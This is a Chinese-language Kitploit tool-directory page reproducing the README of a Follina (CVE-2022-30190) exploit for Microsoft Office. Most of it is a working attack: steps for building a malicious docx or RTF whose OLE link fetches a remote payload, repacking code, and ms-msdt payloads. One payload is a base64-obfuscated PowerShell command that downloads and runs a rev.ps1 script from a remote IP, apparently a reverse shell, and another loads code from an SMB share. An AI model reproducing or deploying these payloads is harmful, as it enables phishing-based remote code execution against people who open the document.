Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
MS-MSDT-Office-RCE-Follina — CVE-2022-30190 | MS-MSDT Follina 一键 | Kitploit
工具/GitHubGitHub/0xflagplz/ms-msdt-office-rce-follina
钓鱼工具Payload生成漏洞利用横向移动Web应用程序漏洞利用命令与控制
GitHub0xflagplz/ms-msdt-office-rce-follina

MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina 一键

查看仓库
201244年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina 一键利用

  1. 创建一个 Docx 文件。
  2. 在 Docx 文件中,点击“插入” > “对象” > “位图图像” > “确定”。
  3. 在启动的画图应用程序中,保存画图文件。
  4. 保存你的 Docx 文件。
  5. 以归档形式打开你的文件(使用 7Zip;右键点击 > 7Zip > 打开归档)。
  6. 从 \Word\ 中复制出 Document.xml,并从 \word_rels\ 中复制出 document.xml.rels 文件。
  7. 打开/编辑 \word_rels\Document.xml.rels,找到包含 "/relationships/oleObject" 的关系 XML 标签。将其中的 "Target=" 中的目标替换为你的远程目标地址,以便从中获取载荷。同时,在该 XML 标签中添加 "TargetMode="External""。
  8. 压缩回 Docx 文件(发送到 > 压缩(zipped)文件夹 | 将文件类型从 zip 重命名为 docx/doc)。

RTF 文件类型

在使用以下参数/步骤保存 docx 后,将 Docx 另存为 RTF。

如果你还在 word/document.xml 中的 <o:OLEObject> 元素下添加以下元素:

root@kitploit:~
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>

重新压缩的操作也可以通过 JohnHammond 的 Python 脚本实现:
~ 重建原始 Office 文件 ~

root@kitploit:~
shutil.make_archive(args.output, "zip", doc_path)  
os.rename(args.output + ".zip", args.output)  

参考:https://github.com/JohnHammond/msdt-follina/blob/main/follina.py


载荷

基本计算器执行:

root@kitploit:~
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>

可以将 Start-Process('calc') 替换为:

IEX('calc.exe')


SMB 共享执行:

root@kitploit:~
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>

PS1 文件加载:

root@kitploit:~
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>  

解码后: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))


Apache2 access.log 应在打开文件时显示连接

日志示例

下载工具